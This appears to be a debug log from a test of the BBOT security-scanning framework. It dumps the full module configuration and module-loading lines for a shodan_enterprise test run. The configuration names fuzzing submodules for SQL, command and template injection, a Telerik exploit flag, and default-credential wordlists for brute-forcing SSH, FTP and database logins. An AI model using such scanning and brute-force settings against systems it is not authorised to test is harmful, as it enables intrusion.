'code_repository': {}, 'gitlab_com': {}, 'dnstlsrpt': {'emit_emails': True, 'emit_raw_dns_records': False, 'emit_urls': True}, 'baddns': {'custom_nameservers': [], 'only_high_confidence': False, 'enabled_submodules': []}, 'subdomaincenter': {}, 'wayback': {'urls': False, 'garbage_threshold': 10}, 'ipstack': {}, 'emailformat': {}, 'fingerprintx': {'version': '1.1.4', 'skip_common_web': True}, 'dnscaa': {'in_scope_only': True, 'dns_names': True, 'emails': True, 'urls': True}, 'bypass403': {}, 'leakix': {}, 'paramminer_getparams': {'wordlist': '', 'recycle_words': False, 'skip_boring_words': True}, 'reflected_parameters': {}, 'crt_db': {}, 'bucket_file_enum': {'file_limit': 50}, 'portscan': {'top_ports': 100, 'ports': '', 'rate': 300, 'wait': 5, 'ping_first': False, 'ping_only': False, 'adapter': '', 'adapter_ip': '', 'adapter_mac': '', 'router_mac': '', 'module_timeout': 259200}, 'baddns_direct': {'custom_nameservers': []}, 'ajaxpro': {}, 'telerik': {'exploit_RAU_crypto': False, 'include_subdirs': False}, 'dnsbimi': {'emit_raw_dns_records': False, 'emit_urls': True, 'selectors': 'default,email,mail,bimi'}, 'aspnet_bin_exposure': {}, 'otx': {}, 'github_codesearch': {'limit': 100}, 'dehashed': {}, 'gowitness': {'version': '3.0.5', 'threads': 0, 'timeout': 10, 'resolution_x': 1440, 'resolution_y': 900, 'output_path': '', 'social': False, 'idle_timeout': 1800, 'chrome_path': ''}, 'docker_pull': {'all_tags': False, 'output_folder': ''}, 'ipneighbor': {'num_bits': 4}, 'bufferoverrun': {'commercial': False}, 'gitlab_onprem': {}, 'iis_shortnames': {'detect_only': True, 'max_node_count': 50, 'speculate_magic_urls': True}, 'badsecrets': {}, 'myssl': {}, 'github_workflows': {'num_logs': 1, 'output_folder': ''}, 'dotnetnuke': {}, 'smuggler': {}, 'robots': {'include_sitemap': False, 'include_allow': True, 'include_disallow': True}, 'anubisdb': {'limit': 1000}, 'oauth': {'try_all': False}, 'github_org': {'include_members': True, 'include_member_repos': False}, 'portfilter': {'cdn_tags': 'cdn-', 'allowed_cdn_ports': '80,443'}, 'sitedossier': {}}, 'agent_url': 'ws://127.0.0.1:8765', 'debug': True}, 'modules': ['shodan_enterprise'], 'output_modules': ['python'], 'scan_name': 'testshodan_enterprise_test_607rde1vj8'}, 'started_at': '2026-02-27T21:25:48.443345', 'status': 'RUNNING'} -2026-02-27 21:25:49,155 [CRITICAL] bbot test_module_shodan_enterprise.py:23 set() -2026-02-27 21:25:49,156 [CRITICAL] bbot test_module_shodan_enterprise.py:25 SCAN("{'id': 'SCAN:d656114a62bbc2e053294c59cce30b8925fdea5c', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-02-27 21:25:49,157 [CRITICAL] bbot test_module_shodan_enterprise.py:19 DNS_NAME_UNRESOLVED -2026-02-27 21:25:49,157 [CRITICAL] bbot test_module_shodan_enterprise.py:21 blacklanternsecurity.com -2026-02-27 21:25:49,157 [CRITICAL] bbot test_module_shodan_enterprise.py:23 {'domain', 'in-scope', 'unresolved', 'target'} -2026-02-27 21:25:49,158 [CRITICAL] bbot test_module_shodan_enterprise.py:25 SCAN("{'id': 'SCAN:d656114a62bbc2e053294c59cce30b8925fdea5c', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-02-27 21:25:49,160 [CRITICAL] bbot test_module_shodan_enterprise.py:19 SCAN -2026-02-27 21:25:49,161 [CRITICAL] bbot test_module_shodan_enterprise.py:21 {'id': 'SCAN:d656114a62bbc2e053294c59cce30b8925fdea5c', 'name': 'testshodan_enterprise_test_607rde1vj8', 'target': {'seeds': ['blacklanternsecurity.com'], 'whitelist': ['blacklanternsecurity.com'], 'blacklist': [], 'strict_scope': False, 'hash': 'b813d1d7fbaa3a3ca10ef8102b5dbcf344f4e8ea', 'seed_hash': '1e57014aa7b0715bca68e4f597204fc4e1e851fc', 'whitelist_hash': '1e57014aa7b0715bca68e4f597204fc4e1e851fc', 'blacklist_hash': 'da39a3ee5e6b4b0d3255bfef95601890afd80709', 'scope_hash': '0b94739339395097caf816b6e7a5a71160c59cf3'}, 'preset': {'description': 'testshodan_enterprise_test_607rde1vj8', 'config': {'home': '/tmp/.bbot_test', 'keep_scans': 20, 'status_frequency': 15, 'file_blobs': False, 'folder_blobs': False, 'scope': {'strict': False, 'report_distance': 0, 'search_distance': 0}, 'dns': {'disable': False, 'minimal': True, 'threads': 25, 'brute_threads': 1000, 'brute_nameservers': 'https://raw.githubusercontent.com/blacklanternsecurity/public-dns-servers/master/nameservers.txt', 'search_distance': 1, 'runaway_limit': 5, 'timeout': 1, 'retries': 1, 'wildcard_disable': False, 'wildcard_ignore': ['blacklanternsecurity.com', 'fakedomain', 'notreal', 'google', 'google.com', 'example.com', 'evilcorp.com', 'one'], 'wildcard_tests': 10, 'abort_threshold': 50, 'filter_ptrs': True, 'debug': False, 'omit_queries': ['SRV:mail.protection.outlook.com', 'CNAME:mail.protection.outlook.com', 'TXT:mail.protection.outlook.com']}, 'web': {'http_proxy': None, 'user_agent': 'BBOT Test User-Agent', 'spider_distance': 0, 'spider_depth': 1, 'spider_links_per_page': 25, 'http_timeout': 10, 'httpx_timeout': 5, 'http_headers': {'test': 'header'}, 'api_retries': 2, 'http_retries': 1, 'httpx_retries': 1, '429_sleep_interval': 30, '429_max_sleep_interval': 60, 'debug': False, 'http_max_redirects': 5, 'ssl_verify': False}, 'engine': {'debug': True}, 'deps': {'ffuf': {'version': '2.1.0'}, 'behavior': 'retry_failed'}, 'module_dirs': [], 'module_handle_event_timeout': 3600, 'module_handle_batch_timeout': 7200, 'speculate': False, 'excavate': False, 'aggregate': False, 'dnsresolve': True, 'cloudcheck': False, 'url_querystring_remove': True, 'url_querystring_collapse': True, 'url_extension_blacklist': ['png', 'jpg', 'bmp', 'ico', 'jpeg', 'gif', 'svg', 'webp', 'css', 'woff', 'woff2', 'ttf', 'eot', 'sass', 'scss', 'mp3', 'm4a', 'wav', 'flac', 'mp4', 'mkv', 'avi', 'wmv', 'mov', 'flv', 'webm'], 'url_extension_special': ['js'], 'url_extension_static': ['pdf', 'doc', 'docx', 'xls', 'xlsx', 'ppt', 'pptx', 'txt', 'csv', 'xml', 'yaml', 'ini', 'log', 'conf', 'cfg', 'env', 'md', 'rtf', 'tiff', 'bmp', 'jpg', 'jpeg', 'png', 'gif', 'svg', 'ico', 'mp3', 'wav', 'flac', 'mp4', 'mov', 'avi', 'mkv', 'webm', 'zip', 'tar', 'gz', 'bz2', '7z', 'rar'], 'parameter_blacklist': ['__VIEWSTATE', '__EVENTARGUMENT', '__EVENTVALIDATION', '__EVENTTARGET', '__EVENTARGUMENT', '__VIEWSTATEGENERATOR', '__SCROLLPOSITIONY', '__SCROLLPOSITIONX', 'ASP.NET_SessionId', 'PHPSESSID', '__cf_bm', 'f5_cspm'], 'parameter_blacklist_prefixes': ['TS01', 'BIGipServer', 'incap_', 'visid_incap_', 'AWSALB', 'utm_', 'ApplicationGatewayAffinity', 'JSESSIONID', 'ARRAffinity'], 'omit_event_types': [], 'interactsh_server': None, 'interactsh_disable': False, 'modules': {'massdns': {'wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/DNS/deepmagic.com-prefixes-top500.txt'}, 'ffuf': {'prefix_busting': True, 'wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/raft-small-directories.txt', 'lines': 5000, 'max_depth': 0, 'extensions': '', 'ignore_case': False, 'rate': 0}, 'http': {'url': '', 'bearer': '', 'method': 'POST', 'timeout': 10, 'siem_friendly': False}, 'websocket': {'url': '', 'preserve_graph': True, 'ignore_ssl': False}, 'asn': {}, 'affiliates': {}, 'web_parameters': {'output_file': '', 'include_count': False}, 'discord': {'webhook_url': '', 'event_types': ['VULNERABILITY', 'FINDING'], 'min_severity': 'LOW', 'retries': 10}, 'emails': {'output_file': ''}, 'teams': {'webhook_url': '', 'event_types': ['VULNERABILITY', 'FINDING'], 'min_severity': 'LOW', 'retries': 10}, 'txt': {'output_file': ''}, 'neo4j': {'uri': 'bolt://localhost:7687'}, 'asset_inventory': {'output_file': '', 'use_previous': False, 'recheck': False, 'summary_netmask': 16}, 'sqlite': {'database': ''}, 'web_report': {'output_file': '', 'css_theme_file': 'https://cdnjs.cloudflare.com/ajax/libs/github-markdown-css/5.1.0/github-markdown.min.css'}, 'csv': {'output_file': ''}, 'postgres': {'host': 'localhost', 'port': 5432, 'database': 'bbot'}, 'python': {}, 'subdomains': {'output_file': '', 'include_unresolved': False}, 'stdout': {'format': 'text', 'event_types': [], 'event_fields': [], 'in_scope_only': False, 'accept_dupes': True}, 'nmap_xml': {}, 'json': {'output_file': '', 'siem_friendly': False}, 'slack': {'webhook_url': '', 'event_types': ['VULNERABILITY', 'FINDING'], 'min_severity': 'LOW', 'retries': 10}, 'splunk': {'url': '', 'index': '', 'source': '', 'timeout': 10}, 'mysql': {'host': 'localhost', 'port': 3306, 'database': 'bbot'}, 'lightfuzz': {'force_common_headers': False, 'enabled_submodules': ['sqli', 'cmdi', 'xss', 'path', 'ssti', 'crypto', 'serial', 'esi'], 'disable_post': False, 'try_post_as_get': False, 'try_get_as_post': False, 'avoid_wafs': True}, 'aggregate': {}, 'cloudcheck': {}, 'excavate': {'yara_max_match_data': 2000, 'custom_yara_rules': '', 'speculate_params': False}, 'speculate': {'max_hosts': 65536, 'ports': '80,443', 'essential_only': False}, 'unarchive': {}, 'dnsresolve': {}, 'legba': {'ssh_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/ssh-betterdefaultpasslist.txt', 'ftp_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt', 'telnet_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/telnet-betterdefaultpasslist.txt', 'vnc_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/vnc-betterdefaultpasslist.txt', 'mssql_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/mssql-betterdefaultpasslist.txt', 'mysql_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/mysql-betterdefaultpasslist.txt', 'postgresql_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/postgres-betterdefaultpasslist.txt', 'concurrency': 3, 'rate_limit': 3, 'version': '1.1.1'}, 'urlscan': {'urls': False}, 'jadx': {'threads': 4}, 'trufflehog': {'version': '3.90.8', 'config': '', 'only_verified': True, 'concurrency': 8, 'deleted_forks': False}, 'host_header': {}, 'securitytxt': {'emails': True, 'urls': True}, 'dnsdumpster': {}, 'bevigil': {'urls': False}, 'bucket_google': {'permutations': False}, 'git': {}, 'azure_realm': {}, 'extractous': {'extensions': ['bak', 'bash', 'bashrc', 'conf', 'cfg', 'crt', 'csv', 'db', 'sqlite', 'doc', 'docx', 'ica', 'indd', 'ini', 'json', 'key', 'pub', 'log', 'markdown', 'md', 'odg', 'odp', 'ods', 'odt', 'pdf', 'pem', 'pps', 'ppsx', 'ppt', 'pptx', 'ps1', 'rdp', 'rsa', 'sh', 'sql', 'swp', 'sxw', 'txt', 'vbs', 'wpd', 'xls', 'xlsx', 'xml', 'yml', 'yaml']}, 'credshed': {'credshed_url': ''}, 'fullhunt': {}, 'social': {}, 'pgp': {'search_urls': ['https://keyserver.ubuntu.com/pks/lookup?fingerprint=on&op=vindex&search=', 'http://the.earth.li:11371/pks/lookup?fingerprint=on&op=vindex&search=', 'https://pgpkeys.eu/pks/lookup?search=&op=index', 'https://pgp.mit.edu/pks/lookup?search=&op=index']}, 'azure_tenant': {}, 'virustotal': {}, 'vhost': {'wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/DNS/subdomains-top1million-5000.txt', 'force_basehost': '', 'lines': 5000}, 'shodan_enterprise': {}, 'dnsbrute': {'wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/DNS/subdomains-top1million-5000.txt', 'max_depth': 5}, 'shodan_dns': {}, 'ip2location': {'lang': ''}, 'rapiddns': {}, 'wpscan': {'enumerate': 'vp,vt,cb,dbe', 'threads': 5, 'request_timeout': 5, 'connection_timeout': 2, 'disable_tls_checks': True, 'force': False}, 'dnscommonsrv': {'max_depth': 2}, 'passivetotal': {}, 'ntlm': {'try_all': False}, 'trickest': {}, 'google_playstore': {}, 'github_usersearch': {}, 'subdomainradar': {'group': 'fast', 'timeout': 120}, 'dockerhub': {}, 'medusa': {'snmp_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Discovery/SNMP/common-snmp-community-strings.txt', 'snmp_versions': ['1', '2C'], 'wait_microseconds': 200, 'timeout_s': 5, 'threads': 5}, 'digitorus': {}, 'wafw00f': {'generic_detect': True}, 'generic_ssrf': {'skip_dns_interaction': False}, 'filedownload': {'extensions': ['bak', 'bash', 'bashrc', 'cfg', 'conf', 'crt', 'csv', 'db', 'dll', 'doc', 'docx', 'exe', 'ica', 'indd', 'ini', 'jar', 'json', 'key', 'log', 'markdown', 'md', 'msi', 'odg', 'odp', 'ods', 'odt', 'pdf', 'pem', 'pps', 'ppsx', 'ppt', 'pptx', 'ps1', 'pub', 'raw', 'rdp', 'rsa', 'sh', 'sql', 'sqlite', 'swp', 'sxw', 'tar.gz', 'tgz', 'tar', 'txt', 'vbs', 'war', 'wpd', 'xls', 'xlsx', 'xml', 'yaml', 'yml', 'zip', 'lzma', 'rar', '7z', 'xz', 'bz2'], 'max_filesize': '10MB', 'output_folder': ''}, 'chaos': {}, 'httpx': {'threads': 50, 'in_scope_only': True, 'version': '1.2.5', 'max_response_size': 5242880, 'store_responses': False, 'probe_all_ips': False}, 'baddns_zone': {'custom_nameservers': [], 'only_high_confidence': False}, 'graphql_introspection': {'graphql_endpoint_urls': ['/', '/graphql', '/v1/graphql'], 'output_folder': ''}, 'paramminer_headers': {'wordlist': '', 'recycle_words': False, 'skip_boring_words': True}, 'securitytrails': {}, 'bucket_microsoft': {'permutations': False}, 'viewdns': {}, 'url_manipulation': {'allow_redirects': True}, 'ffuf_shortnames': {'wordlist_extensions': '', 'max_depth': 1, 'version': '2.0.0', 'extensions': '', 'ignore_redirects': True, 'find_common_prefixes': False, 'find_delimiters': True, 'find_subwords': False, 'max_predictions': 250, 'rate': 0}, 'censys_ip': {'dns_names_limit': 100, 'in_scope_only': True}, 'builtwith': {'redirects': True}, 'certspotter': {}, 'sslcert': {'timeout': 5.0, 'skip_non_ssl': True}, 'gitdumper': {'output_folder': '', 'fuzz_tags': False, 'max_semanic_version': 10}, 'shodan_idb': {'retries': None}, 'hackertarget': {}, 'c99': {}, 'newsletters': {}, 'apkpure': {'output_folder': ''}, 'crt': {}, 'postman_download': {'output_folder': ''}, 'hunt': {}, 'dnsbrute_mutations': {'max_mutations': 100}, 'bucket_firebase': {'permutations': False}, 'nuclei': {'version': '3.7.0', 'tags': '', 'templates': '', 'severity': '', 'ratelimit': 150, 'concurrency': 25, 'mode': 'manual', 'etags': '', 'budget': 1, 'silent': False, 'directory_only': True, 'retries': 0, 'batch_size': 200, 'module_timeout': 21600}, 'censys_dns': {'max_pages': 5}, 'retirejs': {'version': '5.3.0', 'node_version': '18.19.1', 'severity': 'medium'}, 'git_clone': {'output_folder': ''}, 'bucket_amazon': {'permutations': False}, 'bucket_digitalocean': {'permutations': False}, 'skymem': {}, 'hunterio': {}, 'paramminer_cookies': {'wordlist': '', 'recycle_words': False, 'skip_boring_words': True}, 'postman': {}, 'code_repository': {}, 'gitlab_com': {}, 'dnstlsrpt': {'emit_emails': True, 'emit_raw_dns_records': False, 'emit_urls': True}, 'baddns': {'custom_nameservers': [], 'only_high_confidence': False, 'enabled_submodules': []}, 'subdomaincenter': {}, 'wayback': {'urls': False, 'garbage_threshold': 10}, 'ipstack': {}, 'emailformat': {}, 'fingerprintx': {'version': '1.1.4', 'skip_common_web': True}, 'dnscaa': {'in_scope_only': True, 'dns_names': True, 'emails': True, 'urls': True}, 'bypass403': {}, 'leakix': {}, 'paramminer_getparams': {'wordlist': '', 'recycle_words': False, 'skip_boring_words': True}, 'reflected_parameters': {}, 'crt_db': {}, 'bucket_file_enum': {'file_limit': 50}, 'portscan': {'top_ports': 100, 'ports': '', 'rate': 300, 'wait': 5, 'ping_first': False, 'ping_only': False, 'adapter': '', 'adapter_ip': '', 'adapter_mac': '', 'router_mac': '', 'module_timeout': 259200}, 'baddns_direct': {'custom_nameservers': []}, 'ajaxpro': {}, 'telerik': {'exploit_RAU_crypto': False, 'include_subdirs': False}, 'dnsbimi': {'emit_raw_dns_records': False, 'emit_urls': True, 'selectors': 'default,email,mail,bimi'}, 'aspnet_bin_exposure': {}, 'otx': {}, 'github_codesearch': {'limit': 100}, 'dehashed': {}, 'gowitness': {'version': '3.0.5', 'threads': 0, 'timeout': 10, 'resolution_x': 1440, 'resolution_y': 900, 'output_path': '', 'social': False, 'idle_timeout': 1800, 'chrome_path': ''}, 'docker_pull': {'all_tags': False, 'output_folder': ''}, 'ipneighbor': {'num_bits': 4}, 'bufferoverrun': {'commercial': False}, 'gitlab_onprem': {}, 'iis_shortnames': {'detect_only': True, 'max_node_count': 50, 'speculate_magic_urls': True}, 'badsecrets': {}, 'myssl': {}, 'github_workflows': {'num_logs': 1, 'output_folder': ''}, 'dotnetnuke': {}, 'smuggler': {}, 'robots': {'include_sitemap': False, 'include_allow': True, 'include_disallow': True}, 'anubisdb': {'limit': 1000}, 'oauth': {'try_all': False}, 'github_org': {'include_members': True, 'include_member_repos': False}, 'portfilter': {'cdn_tags': 'cdn-', 'allowed_cdn_ports': '80,443'}, 'sitedossier': {}}, 'agent_url': 'ws://127.0.0.1:8765', 'debug': True}, 'modules': ['shodan_enterprise'], 'output_modules': ['python'], 'scan_name': 'testshodan_enterprise_test_607rde1vj8'}, 'started_at': '2026-02-27T21:25:48.443345', 'finished_at': '2026-02-27T21:25:49.005307', 'duration_seconds': 0.561962, 'duration': '0 seconds', 'status': 'FINISHED'} -2026-02-27 21:25:49,164 [CRITICAL] bbot test_module_shodan_enterprise.py:23 set() -2026-02-27 21:25:49,164 [CRITICAL] bbot test_module_shodan_enterprise.py:25 SCAN("{'id': 'SCAN:d656114a62bbc2e053294c59cce30b8925fdea5c', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-02-27 21:25:49,166 [INFO] bbot.test.shodan_enterprise base.py:125 Finished shodan_enterprise module test -2026-02-27 21:25:49,166 [INFO] bbot.test.shodan_enterprise base.py:131 No unfinished tasks detected -2026-02-27 21:27:06,366 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/output -2026-02-27 21:27:06,376 [DEBUG] bbot.module_loader modules.py:152 Preloading web_parameters from cache -2026-02-27 21:27:06,378 [DEBUG] bbot.module_loader modules.py:152 Preloading discord from cache -2026-02-27 21:27:06,379 [DEBUG] bbot.module_loader modules.py:152 Preloading emails from cache -2026-02-27 21:27:06,380 [DEBUG] bbot.module_loader modules.py:152 Preloading teams from cache -2026-02-27 21:27:06,383 [DEBUG] bbot.module_loader modules.py:152 Preloading txt from cache -2026-02-27 21:27:06,384 [DEBUG] bbot.module_loader modules.py:152 Preloading neo4j from cache -2026-02-27 21:27:06,387 [DEBUG] bbot.module_loader modules.py:152 Preloading asset_inventory from cache -2026-02-27 21:27:06,388 [DEBUG] bbot.module_loader modules.py:152 Preloading sqlite from cache -2026-02-27 21:27:06,389 [DEBUG] bbot.module_loader modules.py:152 Preloading web_report from cache -2026-02-27 21:27:06,389 [DEBUG] bbot.module_loader modules.py:152 Preloading http from cache -2026-02-27 21:27:06,391 [DEBUG] bbot.module_loader modules.py:152 Preloading csv from cache -2026-02-27 21:27:06,391 [DEBUG] bbot.module_loader modules.py:152 Preloading postgres from cache -2026-02-27 21:27:06,393 [DEBUG] bbot.module_loader modules.py:152 Preloading python from cache -2026-02-27 21:27:06,393 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomains from cache -2026-02-27 21:27:06,394 [DEBUG] bbot.module_loader modules.py:152 Preloading stdout from cache -2026-02-27 21:27:06,396 [DEBUG] bbot.module_loader modules.py:152 Preloading nmap_xml from cache -2026-02-27 21:27:06,397 [DEBUG] bbot.module_loader modules.py:152 Preloading json from cache -2026-02-27 21:27:06,398 [DEBUG] bbot.module_loader modules.py:152 Preloading slack from cache -2026-02-27 21:27:06,399 [DEBUG] bbot.module_loader modules.py:152 Preloading splunk from cache -2026-02-27 21:27:06,400 [DEBUG] bbot.module_loader modules.py:152 Preloading mysql from cache -2026-02-27 21:27:06,402 [DEBUG] bbot.module_loader modules.py:152 Preloading websocket from cache -2026-02-27 21:27:06,403 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/templates -2026-02-27 21:27:06,404 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules -2026-02-27 21:27:06,405 [DEBUG] bbot.module_loader modules.py:154 Preloading esi from disk -2026-02-27 21:27:06,406 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/esi.py as it is not a valid BBOT module -2026-02-27 21:27:06,407 [DEBUG] bbot.module_loader modules.py:154 Preloading cmdi from disk -2026-02-27 21:27:06,408 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/cmdi.py as it is not a valid BBOT module -2026-02-27 21:27:06,409 [DEBUG] bbot.module_loader modules.py:154 Preloading xss from disk -2026-02-27 21:27:06,412 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/xss.py as it is not a valid BBOT module -2026-02-27 21:27:06,413 [DEBUG] bbot.module_loader modules.py:154 Preloading crypto from disk -2026-02-27 21:27:06,417 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/crypto.py as it is not a valid BBOT module -2026-02-27 21:27:06,418 [DEBUG] bbot.module_loader modules.py:154 Preloading serial from disk -2026-02-27 21:27:06,420 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/serial.py as it is not a valid BBOT module -2026-02-27 21:27:06,421 [DEBUG] bbot.module_loader modules.py:154 Preloading sqli from disk -2026-02-27 21:27:06,422 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/sqli.py as it is not a valid BBOT module -2026-02-27 21:27:06,423 [DEBUG] bbot.module_loader modules.py:154 Preloading path from disk -2026-02-27 21:27:06,424 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/path.py as it is not a valid BBOT module -2026-02-27 21:27:06,425 [DEBUG] bbot.module_loader modules.py:154 Preloading ssti from disk -2026-02-27 21:27:06,426 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/ssti.py as it is not a valid BBOT module -2026-02-27 21:27:06,426 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz -2026-02-27 21:27:06,427 [DEBUG] bbot.module_loader modules.py:152 Preloading lightfuzz from cache -2026-02-27 21:27:06,429 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/internal -2026-02-27 21:27:06,430 [DEBUG] bbot.module_loader modules.py:152 Preloading aggregate from cache -2026-02-27 21:27:06,431 [DEBUG] bbot.module_loader modules.py:152 Preloading cloudcheck from cache -2026-02-27 21:27:06,432 [DEBUG] bbot.module_loader modules.py:152 Preloading excavate from cache -2026-02-27 21:27:06,433 [DEBUG] bbot.module_loader modules.py:152 Preloading speculate from cache -2026-02-27 21:27:06,434 [DEBUG] bbot.module_loader modules.py:152 Preloading unarchive from cache -2026-02-27 21:27:06,435 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsresolve from cache -2026-02-27 21:27:06,436 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/report -2026-02-27 21:27:06,437 [DEBUG] bbot.module_loader modules.py:152 Preloading asn from cache -2026-02-27 21:27:06,437 [DEBUG] bbot.module_loader modules.py:152 Preloading affiliates from cache -2026-02-27 21:27:06,438 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/deadly -2026-02-27 21:27:06,439 [DEBUG] bbot.module_loader modules.py:152 Preloading legba from cache -2026-02-27 21:27:06,440 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules -2026-02-27 21:27:06,441 [DEBUG] bbot.module_loader modules.py:152 Preloading urlscan from cache -2026-02-27 21:27:06,442 [DEBUG] bbot.module_loader modules.py:152 Preloading jadx from cache -2026-02-27 21:27:06,443 [DEBUG] bbot.module_loader modules.py:152 Preloading trufflehog from cache -2026-02-27 21:27:06,444 [DEBUG] bbot.module_loader modules.py:152 Preloading host_header from cache -2026-02-27 21:27:06,444 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytxt from cache -2026-02-27 21:27:06,445 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsdumpster from cache -2026-02-27 21:27:06,446 [DEBUG] bbot.module_loader modules.py:152 Preloading bevigil from cache -2026-02-27 21:27:06,447 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_google from cache -2026-02-27 21:27:06,448 [DEBUG] bbot.module_loader modules.py:152 Preloading git from cache -2026-02-27 21:27:06,449 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_realm from cache -2026-02-27 21:27:06,450 [DEBUG] bbot.module_loader modules.py:152 Preloading extractous from cache -2026-02-27 21:27:06,456 [DEBUG] bbot.module_loader modules.py:152 Preloading credshed from cache -2026-02-27 21:27:06,457 [DEBUG] bbot.module_loader modules.py:152 Preloading fullhunt from cache -2026-02-27 21:27:06,458 [DEBUG] bbot.module_loader modules.py:152 Preloading social from cache -2026-02-27 21:27:06,459 [DEBUG] bbot.module_loader modules.py:152 Preloading pgp from cache -2026-02-27 21:27:06,460 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_tenant from cache -2026-02-27 21:27:06,461 [DEBUG] bbot.module_loader modules.py:152 Preloading virustotal from cache -2026-02-27 21:27:06,462 [DEBUG] bbot.module_loader modules.py:152 Preloading vhost from cache -2026-02-27 21:27:06,464 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_enterprise from cache -2026-02-27 21:27:06,465 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute from cache -2026-02-27 21:27:06,466 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_dns from cache -2026-02-27 21:27:06,467 [DEBUG] bbot.module_loader modules.py:152 Preloading ip2location from cache -2026-02-27 21:27:06,468 [DEBUG] bbot.module_loader modules.py:152 Preloading rapiddns from cache -2026-02-27 21:27:06,469 [DEBUG] bbot.module_loader modules.py:152 Preloading wpscan from cache -2026-02-27 21:27:06,471 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscommonsrv from cache -2026-02-27 21:27:06,471 [DEBUG] bbot.module_loader modules.py:152 Preloading passivetotal from cache -2026-02-27 21:27:06,472 [DEBUG] bbot.module_loader modules.py:152 Preloading ntlm from cache -2026-02-27 21:27:06,473 [DEBUG] bbot.module_loader modules.py:152 Preloading trickest from cache -2026-02-27 21:27:06,474 [DEBUG] bbot.module_loader modules.py:152 Preloading google_playstore from cache -2026-02-27 21:27:06,475 [DEBUG] bbot.module_loader modules.py:152 Preloading github_usersearch from cache -2026-02-27 21:27:06,476 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomainradar from cache -2026-02-27 21:27:06,477 [DEBUG] bbot.module_loader modules.py:152 Preloading dockerhub from cache -2026-02-27 21:27:06,478 [DEBUG] bbot.module_loader modules.py:152 Preloading medusa from cache -2026-02-27 21:27:06,479 [DEBUG] bbot.module_loader modules.py:152 Preloading digitorus from cache -2026-02-27 21:27:06,480 [DEBUG] bbot.module_loader modules.py:152 Preloading wafw00f from cache -2026-02-27 21:27:06,481 [DEBUG] bbot.module_loader modules.py:152 Preloading generic_ssrf from cache -2026-02-27 21:27:06,482 [DEBUG] bbot.module_loader modules.py:152 Preloading filedownload from cache -2026-02-27 21:27:06,489 [DEBUG] bbot.module_loader modules.py:152 Preloading chaos from cache -2026-02-27 21:27:06,490 [DEBUG] bbot.module_loader modules.py:152 Preloading httpx from cache -2026-02-27 21:27:06,491 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_zone from cache -2026-02-27 21:27:06,493 [DEBUG] bbot.module_loader modules.py:152 Preloading graphql_introspection from cache -2026-02-27 21:27:06,494 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_headers from cache -2026-02-27 21:27:06,495 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytrails from cache -2026-02-27 21:27:06,496 [DEBUG] bbot.module_loader modules.py:152 